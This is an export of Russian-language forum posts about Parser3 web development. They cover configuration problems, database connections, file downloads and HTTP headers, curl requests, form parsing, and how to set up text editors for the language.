P.S. вообщем у вас только в конфигурационном файле достаточно косяков, чтобы запутать кого угодно. предлагаю скачать ещё раз выложенный нами конфигурационный файл, исправить в нём только пути к драйверу и библиотеке, CLASS_PATH, определить SQL.connect-string, закомментировать вызов unhandled_exception_release и раскомментировать вызов unhandled_exception_debug. сделать всё это внимательно и аккуратно. после этого ещё раз временно переименовать корневой auto.p и ещё раз показать результаты работы _test.html"
"75754","... в данном случае.\
Слишком мало для класса, по мне \"обёртки\" больше выйдет чем удобства.\
\
Разве пример недостаточный -  http://parser.ru/docs/lang/?lesson5.htm - очень даже неплохо написано по-моему."
"75755","Товар -- объект, список товаров -- коллекция объектов."
"75756","Приведённый пример описывает список (коллекцию) как самодостаточный класс с минимальным функционалом: вывести всё, добавить запись.\
\
Но ведь у конкретной записи может быть много методов.\
На примере товара: создать (добавить) товар, удалить, изменить его свойства, перенести в другую категорию и т.д.\
В этом случае теряется контекст конкретного списка, поэтому для товара должен быть свой класс, формирующий объект и предоставляющий все необходимые методы (в которых, не забываем, надо разделить логику и представление)."
"75757","Искал по форуму, ответа не нашел.\
\
Тут воюю с хостером, который утверждает что идет большое количество запросов к БД, и не собирается ничего делать, пока не увидит в коде принудительного закрытия сессии mysql_close()\
\
Насколько я знаю Parser сам закрывает сессию, но не существует ли искусственной возможности закрытия сессии с БД?"
"75758","Не совсем понятно причём тут соединение, если речь о большом количестве запросов.\
Надо смотреть логи запросов и оптимизировать их, при необходимости, а не соединения закрывать вручную."
"75759","Дословно\
\
[i]В файле auto.p очень долго держится открытым соединение. После выборки данных рекомендуется зарыть его. Основная нагрузка на сервер происходит при обработке этого файла.[/i]\
\
Несколько месяцев все работало нормально, пока хостер не начал жаловаться на создаваемую нагрузку и начали вылазить 502 и 504 ошибки."
"75760","К тому же я впервые столкнулся с ошибкой парсера \
\
[code]\"User dbu_*****_1 already has more than 'max_user_connections' active connections [sql.connect]\"[/code]\
\
Максимальное допустимое количество подключений - 32.\
Ошибку выдает даже при 10 посетителях на сайте."
"75761","[quote]В файле auto.p очень долго держится открытым соединение[/quote]\
\
Думаю, это стоит читать как «очень долго генерируются страницы».\
\
Добавьте rusage в конце страниц и посмотрите на время.\
Видимо пора задуматься об оптимизации и кэшировании."
"75762","http://cvsview.parser.ru/cgi/viewcvs.cgi/sql/mysql/parser3mysql.C?rev=1.38&content-type=text/vnd.viewcvs-markup\
\
Ctfl+F | \"close\"\
\
аналогично можно открыть в текстовом редакторе parser3mysql.so (dll) и тоже поискать аналогичную строку. ведь нет ничего удивительного, что функция закрытия соединения находится в sql-драйвере?\
\
\
но дело тут не в close, а, как вам уже подсказали, в том, что медленно генеряться страницы (что может быть неудивительным, учитывая то, что вы [URL=/forum/?id=75700]делаете запросы в цикле[/URL])\
\
возможно, что проблема не в медленных запросах и не в их количестве (само количество запросов не приводит к увеличению количества соединений т.к. парсер кэширует соединение и при обработке одной страницы все запросы будут делаться в расках одного sql соединения), а чём-то ещё.\
если вы используете mysql.p, то можете легко увидеть сколько вообще запросов делается и есть-ли среди них медленные (?mode=debug).\
\
если вы подключите Erusage.p (или сами напишите аналогичный код мониторинга), то в логе сможете увидеть сколько времени генерятся страницы и сколько вообще страниц генерится (кстати: у вас в коде могут быть \"битые\" локальные ссылки к inline изображениям и favicon.ico, в результате при загрузке посетителем файла /index.html параллельно грузятся ещё несколько страниц, которые приводят к запуску процесса парсера генерящего страницу с 404 ошибкой. это, кстати, будет видно и из лога апача, если он вам доступен).\
с мониторинга активности вообще и рекомендую начать оптимизацию."
"75763","судя по исходникам, если есть exception.source и stack trace -- то пытается вывестись сообщение об ошибке. если его нет -- информации о месте возникновения ошибки недоступна."
"75764","Нужно загрузить страницу по http, с адресом содержащим кириллицу.\
\
$path[/product/45109/мобильный-телефон-nokia-6303.html]\
\
\
[code]$f[^file::load[text;http://site.com$path]]\
# получаю 404\
\
$f[^file::load[text;http://site.com^taint[uri][$path]]]\
# также получаю 404[/code]\
\
Ктонибудь сталкивался? Как загружать по таким урлам?"
"75767","указал. помогло."
"75768","остановился на уроке 4. \
При нажатии кнопки add_new происходит ошибка HTTP Error 405.0. Когда пытаюсь перейти в раздел новости - unhandled Exception."
"75769","а то _test.html уже без ошибок вроде"
"75770","Да, всем большое спасибо. Оказалось все проще - при переносе база была сохранена не в той кодировке."
"75771","Кто-нибудь работал с сабжем на Парсере?"
"75772","Делаю xml-файл со списком заказов на сайте, который должен скачиваться пользователем для последующей загрузки в 1с.\
\
Проблема в том что браузер (пробовал оперу и хром) не предлагает скачать файл, просто выводит XML на экран. Конструкция следующая:\
\
[code]$xmldoc[^xdoc::create[document]]\
...\
$f[^xmldoc.file[ $.indent[yes] ]]\
$response:download[$f][/code]\
\
В то же время, если сделать текстовый файл, то все ок:\
\
[code]$f[^file::create[text;export.csv;EXPORT DATA]]\
$response:download[$f][/code]\
\
Вопрос: как заставить браузер предложить сохранять XML на диск как файл?\
\
UPD: нашел, все просто\
\
[code]$f[^file::create[text;export.xml;^xmldoc.string[ $.indent[yes] ]]]\
$response:download[$f][/code]"
"75774","[code]$xmldoc[^xdoc::create[document]]\
$f[^xmldoc.file[ $.indent[yes] ]]\
$f[^file::create[text;export.xml;^xmldoc.string[ $.indent[yes] ]]]\
$response:download[$f][/code]\
\
посмотрел драгонфлаем, в первом варианте:\
\
Исходный ответ\
HTTP/1.1 200 OK\
Server: nginx\
Date: Fri, 09 Sep 2011 08:20:16 GMT\
Content-Type: text/xml; charset=UTF-8\
Transfer-Encoding: chunked\
Connection: keep-alive\
Keep-Alive: timeout=20\
Content-Encoding: gzip\
\
во втором варианте Content-Disposition присутствует:\
\
Исходный ответ\
HTTP/1.1 200 OK\
Server: nginx\
Date: Fri, 09 Sep 2011 08:20:33 GMT\
Content-Type: text/xml; charset=utf-8\
Transfer-Encoding: chunked\
Connection: keep-alive\
Keep-Alive: timeout=20\
Content-Disposition: attachment; filename=export.xml\
Content-Encoding: gzip"
"75775","для скачивания content-disposition должен быть."
"75776","первый - \
$f[^xmldoc.file[ $.indent[yes] ]]\
\
второй - \
$f[^file::create[text;export.xml;^xmldoc.string[ $.indent[yes] ]]]\
\
расчет окончен :)"
"75777","subj. выложен для скачивания в [url=\"/download/utils/\"]соответствующем разделе[/url], в комплекте с цветовой темой заточенной специально под Парсер, ибо почти все стандартные темы принципиально игнорируют особенности макроязыка и не подсвечивают скобки и переменные. Тема со светлым фоном пока в планах.\
\
Кроме подсветки синтаксиса добавляет поддержку toggle comment/uncomment выделенного кода по [color=\"grey\"][[/color]Ctrl[color=\"grey\"]][/color]+[color=\"grey\"][[/color]/[color=\"grey\"]][/color] ([color=\"grey\"][[/color]Command[color=\"grey\"]][/color]+[color=\"grey\"][[/color]/[color=\"grey\"]][/color]) и список всех объявленных методов с возможностью быстрого перехода ([color=\"grey\"][[/color]Ctrl[color=\"grey\"]][/color]+[color=\"grey\"][[/color]R[color=\"grey\"]][/color], работает начиная со второй версии).\
\
Чтобы установить, копируем файлы из архива\
[code]Parser3.sublime-package   -> C:\\Program Files\\Sublime Text 2\\Pristine Packages\\Parser3.sublime-package\
\
P3 Tomorrow Night.tmTheme -> C:\\Users\\[color=\"orange\"]%USERNAME%[/color]\\AppData\\Roaming\\Sublime Text 2\\Packages\\Color Scheme - Default\\P3 Tomorrow Night.tmTheme[/code]\
после установки заходим в программу, и в меню Preferences -> Color Scheme выбираем P3 Tomorrow Night.\
\
С portable-версией всё проще, обе директории находятся в папке с программой, в версии под OS X думаю все будет примерно по адресу ~/Library/Application Support/Sublime Text 2, кстати подсветка должна работать и в TextMate, нужно только поменять расширение бандла с .sublime-package на .tmbundle, если у кого получится запустить - напишите работает ли оно там.\
\
сама программа - http://www.sublimetext.com/, вторая бета работает достаточно стабильно"
"75779","Парсер не меняет (или перестал менять) статус при $response:location?\
\
Если где-то в коде посылается, например, $response:status(404) то необходимо очищать ручками:\
\
[code]^if(def $response:location){ ^rem{*** some condition here ***}\
	$response:status[302 Found]\
	$response:location[$response:location]\
}[/code]"
"75780","$response:field[value] -- задание http заголовка ответа \"field\"\
почему при задании одного заголовка должен меняться ещё какой-то заголовок?"
"75781","- стабильно работает (года два назад глючил страшно, но теперь все ок), есть версии под Мак и Линукс, поддержка x64 \
- приятный интерфейс, можно разделить окно на несколько частей, при теперешних размерах мониторов весьма кстати\
- никаких проблем с кодировками\
- переключение подсветки кода в два клика, кстати по этому я не делал подсветку тэгов XML - меньше визуального шума. Два клика - подсвечиваются мухи, два клика - котлеты.\
- много всяких интересных плюшек по мелочи (автоидент, автокомплит, подсветка невидимых символов etc.) плюс возможность сравнительно легко добавить недостающие\
- очень работоспособный разработчик %) он там один но работы делает за десятерых, респект, ну и большое комюнити, которое тоже не дремлет\
\
Сам я до сих пор пользовался Allaire HomeSite 4.5, 2000 года выпуска (более новые версии не подходили в плане интерфейса), и в принципе он меня всем устраивал, кроме кривой поддержки Unicode и пары-тройки более мелких неудобств с кодировками. Но при переходе на Win7 стало отчетливо заметно что редактор мягко говоря морально устарел, пришлось искать более адекватную замену. Пока остановился на Sublime Text."
"75782","И так не дешевого сходу 59 баксов если для себя."
"75783","В первой версии периодически всплывает окошко с просьбой заплатить, приходится нажимать на кнопку \"ой, давай позже\", почти не напрягает, но особо темпераментных пользователей может немного раздражать."
"75784","Довольно таки шустрый зверек, очень хорошая альтернатива notepad++.\
Не хватает functoion list, который бы постоянно висел в виде сайд бара. Аналог его ctrl+r."
"75786","При работе с winscp, файл сохранить не удается, пишет ошибка и путь странный\
/c/Users/.....\
WinScp при удаленном редактирование файла копирует его в темповую папку и следит за ним, как только файл сохраняется, копирует его обратно на сервер."
"75787","WinSCP integration for editing remote files via SCP and FTP\
\
видимо в бете что-то недокрутили, надо искать на их форуме - популярная фича, если сломалась будет крику\
\
еще есть [url=\"http://wbond.net/sublime_packages/sftp\"]плагин[/url], но денег стоит"
"75790","по моему он не запоминает при повторном открытии, но в три клика не напрягает"
"75791","\"fallback_encoding\": \"Cyrillic (Windows-1251)\",\
Которые находятся в /AppData/Roaming/Sublime Text 2/Packages/Default/Base File.sublime-settings\
Но редактор в упор берет настройки по умолчанию\
[code]Unable to auto detect encoding, using fallback encoding Western (Windows 1252)[/code]"
"75792","у меня вроде получилось, просто Windows-1251 нужно было указывать с пробелом вместо дефиса:\
[code][color=\"gray\"] // The encoding to use when the encoding can't be determined automatically.\
// ASCII, UTF-8 and UTF-16 encodings will be automatically detected.\
// \"fallback_encoding\": \"Western (Windows 1252)\",[/color]\
\"fallback_encoding\": \"Cyrillic (Windows 1251)\",\
[/code]"
"75793","черт, где вы дао постигали?"
"75794","в логе как обычно\
Unable to auto detect encoding, using fallback encoding Western (Windows 1252)"
"75795","не проблема по большому счету, кстати некоторые вот [url=\"http://www.parser.ru/forum/?id=47954\"]еще пять лет назад[/url] перешли на UTF-8 и все каменты на английский перелопатили, им вообще по этому поводу напрягаться не приходится %)"
"75796","а свои -- они да, давно уже в utf-8."
"75797","попробовал написать так:\
[code]\"fallback_encoding\": \"asdfg\",[/code]и тоже получил в консоли:\
[code]Unable to auto detect encoding, using fallback encoding Western (Windows 1252)[/code]\
файлик ежели чего правлю\
[code]C:\\Users\\%USERNAME%\\AppData\\Roaming\\Sublime Text 2\\Packages\\Default\\Base File.sublime-settings[/code] потом перезапускаю"
"75798","http://www.parser.ru/docs/lang/?responsefields.htm\
\
[quote]При указании $response:location, Парсер не меняет коды статусов.\
\
Для корректного редиректа, необходимо дополнить полем $response:status с нужным значением (201, 300, 301, 302, 303 или 305).[/quote]"
"75799","по идеи и перезапускать не надо, т.к. имеем в консоли после сохранения этого файла\
[quote]reloading /C/Users/username/AppData/Roaming/Sublime Text 2/Packages/Default/Base File.sublime-settings[/quote]\
Но на всякий случай перезапускаю."
"75800","я просто еще записал настройку в конфиг юзера\
/Packages/User/Base File.sublime-settings\
И там была не правильная запись через -"
"75801","в коде вижу, что content-disposition выдаётся только если у файла явно задано имя файла (неявно оно имеет значение \"noname.dat\" и задано у всех фалов).\
\
при ^xdoc.file[] имя оказывается неопределённым, т.к. параметры преобразования сейчас эквивалентны тому, что можно задать в <xsl:options/>.\
\
а в $response:download нельзя отдать файл + указать его имя.\
\
т.е. получается, что сейчас так сделать нельзя. но есть несколько workaround-ов:\
1. после $response:download можно ручками задать правильный $response:content-disposition (с \"attachement\" + именем файла)\
2. использовать промежуточный ^file::create[]\
\
но по хорошему, конечно-же, было-бы кстати:\
- иметь возможность задать имя файла у ^xdoc.file[], например так: ^xdoc.file[имя файла;опции преобразования] или так ^xdoc.file[$.name[имя файла]]\
- иметь возможность переопределить имя файла у уже существующего объекта типа file, например так: $f.name[новое имя файла]\
- иметь возможность задать имя файла у $response:download, например так: $response:download[$.value[$file_or_string] $.name[filename.ext]]\
\
добавлю в наше todo для обсуждения (что-то из этого там уже есть)"
"75803","Не отвечаете на письма, Александр.\
Нехорошо."
"75804","Требуется программист на Parser для разработки модулей сайта. www.nahalyavu.com Необходимо разработать новые опции, например, Календарь Событий, Аукцион и прочие блоки. \
\
Требования:\
опыт работы от 3 лет\
Знание технологий и библиотек:\
Parser3, MySql, AJAX, JQuery\
\
Оплата договорная.\
\
Присылайте свое портфолио с исходниками на адрес: alexrosl@hotmail.com.\
\
Благодарю!"
"75805","Дорого"
"75806","А так...\
\
а) Ваш сайт ужасен. \
б) Вы тратите деньги на ветер. \
в) У него нет будущего."
"75808","Дима К - спасибо за обратную связь!\
\
Александр - Пишите на личную почту Ваши ожидания и опыт работы."
"75809","У вас при инициализации класса NConvert используется некий скрипт как выполняющийся файл\
$.sScriptName[convert. sh|cmd]\
Можете показать его содержимое?\
или там что-то вроде\
nconvert $*\
ImageMagick $* ?"
"75810","convert.sh (используется нами на хостингах для вызова ImageMagick)\
[code]\
#!/bin/sh\
\
convert \"$@\"\
[/code]\
\
convert.cmd (используемся мной на win32, для вызова nconvert.exe)\
[code]\
@ECHO off\
\
nconvert.exe %*\
[/code]"
"75811","Советую добавить в класс curl опцию verbose -- сильно облегчит жизнь при отладке сложных запросов.\
[code]CURL_OPT(CURL_INT, VERBOSE);[/code]"
"75812","Один jquery плагин передает значения в обработчик на парсере в таком виде\
\
[code]process_sortable.html?listItem[]=857&listItem[]=971&listItem[]=864&listItem[]=863[/code]\
\
где в нужном мне порядке я получаю id объектов. Как лучше разобрать эту строку? Через регулярные выражения или средствами работы с данными из форм?\
\
[code]form:fields.foreach[field;value]{...}[/code] срабатывает только один раз, а способ [code]$listItem[$form:tables.listItem][/code] ругается к методу [code]^listItem.menu[/code]"
"75813","[code]$listItem[$form:tables.[listItem^[^]]]\
^listItem.menu{\
	...\
}[/code]"
"75817","Дорогие друзья. Кажется, мы с 2009 года не обсуждали редакторы.\
Я пользуюсь PSPad, подсвечивая в коде Parser только @декларацию методов и #комментарии. Единственное, что задумался сейчас о подсветке ^rem{комментариев}.\
Чем пользуетесь вы? :-)"
"75818","а [URL=/forum/?id=75777]это[/URL] что такое, кроме как обсуждение редактора? :)\
\
я как перешёл с UltraEdit на Notepad++, так до сих пор его и использую. есть подсветка синтаксиса (только простенькая, сделать полноценную не хватает его возможностей, ну да мне хватает).\
использую макросы для быстрой вставки чего-либо (например комментариев. выделил фрагмент, жмакнул кнопки -- закомментировано)\
стабильно обновляется (в отличии от PSPad).\
\
ещё я немножко использую Akelpad (установлен в браузере как редактор просмотра Source Code)\
\
P.S. а ещё я периодически [URL=/links/]тут[/URL] списки обновляю."
"75819","http://idea-parser.net/\
\
Работает и с бесплатным Community Edition. На больших проектах то, что это не просто подсветка синтаксиса, но еще например и возможность перейти к определению вызываемого метода - незаменимо. Да, IDEA не самая легкая программа, но на современных компьютерах это не критично."
"75820","[i]> lev, Лев Рогожин, lev -at- design.ru (bundle для TextMate, из которого появился ZenParser)[/i]\
\
а что это за бандл, почему не выложен в разделе? Я бы из него фичи для Sublime Text повыковыривал..."
"75821","Всем же хочется спектр возможностей видеть, а не одно решение. :)"
"75822","Это только у меня коментирование строки применяется полсекунды? )\
В том же PSPad происходит неуловимо. \
Для меня такие лаги неприемлемы :("
"75823","Можно узнать, а зачем вы сначала 404 выдаёте, а потом редирект делаете?"
"75824","где же вышеупомянутый TextMate, BBEdit, Coda :)\
Пользую BBEdit"
"75825","Действительно IDEA работает иногда ни то что медленно, а оочень медленно, да и с серьезными подвисаниями с жиранием 95% CPU (MB Pro, OSX Lion, 64 bit). Особенно это часто бывает на больших html с инъекциями парсера. Иногда отклик ввода замедляется на 1-2 секунды. Короче, их насирательство на нативные возможности системы и жуткая лажа в работе, портит все прелести IDEA как IDE."
"75826","Естьнекий враппер ^Helper:location[]. Он ничего не знает о происходящем. Просто, как только мы ее вызываем, проверяются некоторые условия, а затем присваивается значение заголовку.\
\
\"Решение о 404\" принимается в процессе работы программы, в разных точках. \
Например, нет сущности в базе с таким ID -- ага, значит результатом будет страница 404 и т. п. В конце программы мы смотрим, есть ли у нас флаг говорящий о 404. Если есть -- отдаем $response:status(404).\
\
Вот браузер и не может обработать заголовки status и location если они противоречат друг другу. Поэтому тут речь о приоритете. Если location, то нужно поменять и статус."
"75827","Если в PHP (по крайней мере работащим как модуль Apache) написать\
[code]header(\"HTTP/1.1 404 Not Found\");\
header(\"Location: http://w3c.org/\");[/code]\
будет редирект.\
\
В Парсере, однако, такого не произойдет.\
[code]$response:status[404 Not Found]\
$response:location[http://w3c.org/][/code]\
\
Я не утверждаю, что нужно что-то очищать или менять. \
\
Просто (мне кажется) нужно добавить информацию в документацию."
"75828","в PHP location -- [URL=http://php.net/manual/en/function.header.php]специальный случай[/URL]:\
[quote]\
The second special case is the \"Location:\" header. Not only does it send this header back to the browser, but it also returns a REDIRECT (302) status code to the browser unless the 201 or a 3xx status code has already been set.\
[/quote]\
\
т.е. это у них location делает не просто отправку \"raw HTTP header\", как это написано в описании функции, а дополнительно выставляет ещё один HTTP header status.\
это исключение -- оно должно быть описано.\
\
у нас этого исключения нет (да, возможно с ним удобнее, но сейчас обсуждается не это), но раз так, то отдельно описывать нечего: установка всех заголовков подчиняется одной логике.\
\
если вы считаете, что это стоит описать -- залогиньтесь да добавьте комментарий к этому разделу документации для потомков, делов-то."
"75830","в HEAD закоммичен доработанный драйвер.\
имя опции -- local_infile."
"75831","есть таблица где несколько  полей типа\
\
[code]<input type=\"file\" name=\"file_s\">[/code]\
\
как все эти файлы загрузить на сервер одним нажатием ?\
\
понимаю надо сделать таблицу, но и сохранить както имена файлов\
\
запутался совсем.\
\
\
[code]$tScanFiles[$form:tables.file_s]\
\
^tScanFiles.menu{\
	^tScanFiles.field.save[binary;/scan/^file:basename[$tScanFiles.field]] \
		}[/code]\
\
но что то не идет. может я что то неправильно еще делаю ?"
"75833","извиняюсь, но можно чуть чуть подробней ?"
"75834","http://www.parser.ru/docs/lang/?formfiles.htm\
тоже самое по смыслу, что и $form:tables но для файлов."
"75836","При разборе параметров возникает абсурдная ситуация:\
http://example.com/?q=test&return=http://example.com/?q=test\
\
В $form:return будет не то, что ожидается."
"75838","... подумайте, что должен был сделать Парсер, если бы вы написали что-то подобное: http://example.com/?q=test&return=http://example.com/?q=test&q2=test2\
\
А решение очевидное и простое - надо эскейпить параметры так, как это делает ^taint[uri][]."
"75839","Когда парсер работал совместно с апачем, то всё работало.\
После переезда сайта на IIS6 (CGI версия парсера) [b]почти[/b] всё работает. Проблема в следующем:\
\
[code]$fExecVBS[^file::exec[c:\\windows\\system32\\wscript.exe;;c:\\inetpub\\www\\admin\\diag\\copylogs.vbs]][/code]\
\
copylogs.vbs:\
\
[code]On Error Resume Next\
Dim dp\
dp = Mid(Date,7,10) & Mid(Date,4,2) & Mid(Date,1,2)\
Set fso = CreateObject(\"Scripting.FileSystemObject\")\
fso.CopyFile \"\\\\server7\\diag$\\SFLog\" & dp & \".csv\", \"C:\\inetpub\\www\\admin\\diag\\server7.csv\"\
fso.CopyFile \"\\\\proxy\\diag$\\SFLog\" & dp & \".csv\", \"C:\\inetpub\\www\\admin\\diag\\proxy.csv\"[/code]\
\
... т.е. простое копирование файлов с переименованием, но суть не в этом VBS скрипте. А в том, что FILE:EXEC выполняется без ошибок (.status = 0, .stderr пуст, .text тоже пуст, естественно), а ожидаемого результата нет.\
Если тупо пойти в коммандную строку и выполнить\
[code]c:\\windows\\system32\\wscript.exe c:\\inetpub\\www\\admin\\diag\\copylogs.vbs[/code]\
, то ожидаемый результат будет.\
\
В чём причина?"
"75840","А по поводу 0, я не думаю что wscript.exe вернет какую-то ошибку, да и зачем вы пушкой по воробьям палите. Хватит банального cmd с xcopy. Если же проблема с пользователями, то проще, как мне уже советовали, сделать флаг и кроном/шедулером его проверять и выполнять операцию по нему."
"75841","пушкой по воробьям палить надо потому что вбс скрипт дату вычисляет и берет файл, в имени которого дата стоит. понятия не имею как в cmd это сделать"
"75843","и впрямь не хватало прав скрипту, т.к. он копировал файлы с удаленных компов. проблема разрешилась запуском iis от доменного юзера, который также был добавлен в группу локальных администраторов. но это насколько я знаю не очень-то правильный способ с точки зрения безопасности. зато всё работает."
"75844","Что ожидается в переменной param?\
\
http://example.com/?param=?%3F"
"75846","Объясните пожалуйста как установить парсер на Денвер, не получаеться и все"
"75848","Случилось так, что сайт необходимо было перевести с Apache на IIS6. И теперь в Мишином классе авторизации формы логона и логоффа работают иначе. В мозилле всё нормально. Но в Эксплорере 8 при попытке залогиниться или залогоффиться происходит долгое ожидание ответа и затем \"Internet Explorer не может отобразить эту веб-страницу\", однако действие логон/логофф при этом выполняется.\
Пробовал использовать модуль URL Rewrite, но это не повлияло. Вообще трудно понять почему страницу он пытается открыть так долго. В \".url_target\" стоит \"$request:uri\", хотя и \".\" тоже пробовал - бестолку.\
Напомню, что в мозилле этой проблемы нет. А на апаче когда сайт был, то ни в одном браузере такой проблемы не было."
"75851","Станет ясно в чём отличие и на что может подобным образом реагировать IE."
"75852","все не так (не пусто). \
\
Приходит именно \"??\"."
"75855","Есть форма, отправляет строку запроса на внешний сервер:\
[code]\
<form action=\"https://site.ru:8801/?action=1\" method=\"post\" enctype=\"application/x-www-form-urlencoded\">\
<input type=\"hidden\" name=\"xml\" value=\"^taint[uri][$b64]\" />\
<input type=\"submit\" value=\"Отправить\"  />\
</form>\
[/code]\
Строка отправляется без проблем, внешний сервер на нее генерит ответ (строка xml), который мне нужно сохранить в файл. Ответ сервера вижу в браузере после отправки запроса, но в файл ничего не пишется.\
[code]\
$f[^file::create[text;otvet.xml;^untaint[xml]{<?xml version=\"1.0\" encoding=\"$request:charset\"?>}]]\
$response:download[$f] \
[/code]\
Не пойму, где ошибка."
"75856","вы отдали форму браузеру.\
браузер отправил результат на сервер, указанный в @action и именно браузер получил ответ.\
ваш сервер, который отдавал форму, ничего от этого удалённого сервера не получал и при подобной организации никогда не получит (удалённый сервер даже не знает о вашем сервере).\
\
если хотите, чтобы ваш сервер об этом знал, то в @action подставляйте ссылку на ваш сервер, на нём \"ловите\" пришедший от пользователя post запрос, отправляйте его сами на удалённый сервер ($f[^file::load[text;http://...]] вам в руки), получайте от него ответ, записывайте его куда вам надо и потом отдавайте ответ браузеру.\
т.е. браузер будет работать только с вашим сервером, и ваш сервер будет выполнять функции proxy-сервера для этих запросов."
"75858","Понимаю, что сабж не относится к парсеру, возможно кто-нибудь ответит.\
\
Т.к. на хостинге (jino) стоит древняя версия (6.2.х), хотелось бы поставить самому версию посвежее. Скачал бинарники - но никак не получилось завести. RPM не доступен.\
\
Возможно кто-нибудь уже ставил себе свежую версию IM на вирт. хостинг - поделитесь плз мануалом.\
\
Спасибо!"
"75859","Понял, спасибо!"
"75862","Отправляю запрос:\
\
 $res[^curl:load[\
   $.proxy[10.1.1.10:3128]\
   $.proxyuserpwd[usr:pwd]\
   $.url[https://site.ru:8801/?action=2]\
   $.post(1)\
   $.ssl_verifypeer(0)\
   $.ssl_verifyhost(0)\
   $.httppost[\
   $.postfields[field1={$b64}]\
\
\
   ]\
  ]]\
Однако получателю приходит пустой запрос, возможно, нужны еще какие-то параметры? Помогите, пожалуйста, разобраться."
"75864","Спасибо, помогло."
"75866","1. все служебные символы URL должны быть кодированы (в частности ? и &)\
2. если ваши все \"другие\" языки возвращают вам ?? в вашем примере - то в них баг. Почему?\
\
ну например вы можете использовать т.н. ismap изображения\
[code]\
<a href='/maps/?img=1&from=page'><img src='/img.jpg' ismap></a>[/code]\
\
в данном случае, при клике на картинке произойдет обращение на сервер по адресу\
\
http://site/maps/?img=1&from=page?x,y где xy - координаты клика. В парсере вы их получите через qtail, а ваших других языках вы получите\
[code]\
img=1\
from=page?x,y\
[/code]\
\
т.е. битый параметр from"
"75867","Отправляю один и тот же запрос ($b64) разными способами:\
[code]\
<form action=\"https://site.ru:8801/?action=1\" method=\"post\" enctype=\"application/x-www-form-urlencoded\">\
<input type=\"hidden\" name=\"xml\" value=\"^taint[uri][$b64]\" />\
<input type=\"submit\" value=\"Отправить\"  />\
</form>\
[/code]\
\
2 способ:\
[code]\
 $res[^curl:load[\
   $.proxy[10.1.1.10:3228]\
   $.proxyuserpwd[usr:pwd]\
   $.url[https://site.ru:8801/?action=2]\
   $.post(1)\
   $.ssl_verifypeer(0)\
   $.ssl_verifyhost(0)\
   $.postfields[xml=^taint[uri][$b64]]\
   ]\
  ]]\
[/code]\
\
Сравнил то, что приходит на сервер в 1 и 2 случае, результат разный, похоже, что CURL не делает преобразование  ^taint[uri], не пойму, что еще нужно сделать."
"75868","Что касается первого примера (формы), то там скорее надо делать ^taint[html][$b64], а преобразование в http-запрос сделает сам браузер.\
\
p.s. В описании класса curl в документации есть ссылка на пример класса-обертки, который реализует интерфейс, аналогичный file::load."
"75870","Передаю строку XML, закодированную сначала в base64, а потом в urlencode. Непостижимым образом, но первый способ работает только в таком варианте:  ^taint[uri][$b64], вариант с [html] внешний сервер отвергает. С чем связано, попробую разобраться позже.\
$b64:\
[code]\
         owEBcgON/JANAwACAadzk+C6y9G9Aa0CQWIJcXVlc3QuZ3BnTo1CV4UBDANSUPcNX9y\
[/code]\
 В первом случае сервер получает \
[code]\
[xml] => owEBdAOL/JANAwACAadzk%2BC6y9G9Aa0CQ2IJcXVlc3QuZ3BnTowwrIUBDANSUPcNX и благополучно генерит ответ. \
[/code]\
Во втором получает:\
[code]\
[xml] => owEBdAOL/JANAwACAadzk+C6y9G9Aa0CQ2IJcXVlc3QuZ3BnTowwjYUBDANSUPcNX9y\
[/code]\
и генерит ответ с ошибкой обработки. Т.е. видно, во втором случае строка передается в исходном виде и ^taint[uri] не работает("
"75871","Принимающая сторона доступна для отладки? Как вы проверяете, что именно пришло?"
"75872","Админ с той стороны выслал лог запросов. Я вот что думаю: файл мало того, что закодирован, до этого он еще был подписан ЭЦП, и вот на той стороне как раз не могут снять эту подпись, возможно, здесь причина? Хотя вряд ли.. Если отправляет браузер - проблем не возникат."
"75873","Сравнил резы запросов - содержание одинаковое абсолютно, единственное, в том, который проходит - символы '+' и перевод строки заменены на %. Curl-у тоже пытаюсь в постфилды запихнуть ^taint[uri], компилятор ошибок не выдает, однако и urlencode не делает."
"75874","Странно, что не делает.\
У меня много где делает и всё работает:-)\
\
Отправляйте запрос к себе на сервер и смотрите что будет приходить.\
Вместо post можно сделать get (т.е. отправляемое поле прописать прямо в $.url), и тогда в access.log будет видна пришедшая строка."
"75875","во первых, зачем то, что было за-base64 и отправляется POST-ом ещё дополнительно url-encode-ить?\
\
во вторых, неужели нельзя было отправлять файлы без всего этого шаманства просто использовав enctype=multipart/form-data?"
"75876","А как пересохранить файл в другой кодировке?"
"75877","в старой версии была опция Save with encoding..., в новой её то ли упразднили, то ли не добавили еще, непонятно :(\
\
по умолчанию файлы создаются в utf-8, если сразу не сохранить и не переоткрыть в однобайтовой, то потом уже скорее всего не получится. Будем надеяться до релиза автор придумает что-нибудь вменяемое на эту тему, иначе поклонники его не поймут."
"75878","Ну что-то в этом роде, в нотепад++ есть опция перекодировать +)"
"75879","Михаил, спасибо за совет. Как я понял, при отправке POST-ов по умолчанию этот параметр enctype=\"application/x-www-form-urlencoded\">, но вот поменять его на enctype=multipart/form-data в процессе загрузки файла, похоже, невозможно."
"75880","http://curl.haxx.se/libcurl/c/curl_easy_setopt.html#CURLOPTHTTPPOST\
\
p.s. http://code.google.com/p/parser3-pf/source/browse/trunk/pf/io/pfCFile.p#137"
"75881","Код выглядит так:\
[code]\
   $b64[^fValue.base64[]]\
     $res[^pfCFile:load[text;https://site.ru:8801/?action=2;\
\
   $.proxy-host[10.1.1.10]\
   $.proxy-port[3128]\
   $.method[post]\
   $.enctype[multipart/form-data]\
   $.ssl_verifypeer(0)    \
   $.ssl_verifyhost(0)\
   $.postfields[xml=[$b64]]\
  ]]\
[/code]"
"75883","Доброго времени суток!\
Может вопрос не совсем по Parser, но я пытаюсь реализовать это именно на Parser.\
Как вводить, подсчитывать рейтинг и отображать облако ключевых слов разобрался. \
Вопрос, как организовать поиск и вывод результатов по ключевым словам...\
Может уже, кто реализовывал подобный класс...\
Читал, что можно использовать поиск по БД, я использую MySQL..."
"75884","[url=http://www.simplecoding.org/kak-sozdat-oblako-tegov-dlya-svoego-sajta.html]Пятая ссылка[/url] в Google.\
\
\
[quote]В теле сообщения напишите что вы [b]хотели получить[/b], что вы [b]делали[/b] и что [b]получили[/b][/quote]\
[url=\"http://www.parser.ru/faq/forum/\"]FAQ[/url]"
"75885","как выводить результат по каждому ключевому слову, кто как делает?\
Возможно кто-то уже, сталкивался с подобной задачей, реализовывал на Parser данную задачу."
"75886","... у меня в библиотеке — http://code.google.com/p/parser3-pf/source/browse/#svn%2Ftrunk%2Fpf%2Fsql%2Fgenerics%2Ftags ... правда документацию я пока на этот класс не делал, но в коде есть некоторое количество комментариев."
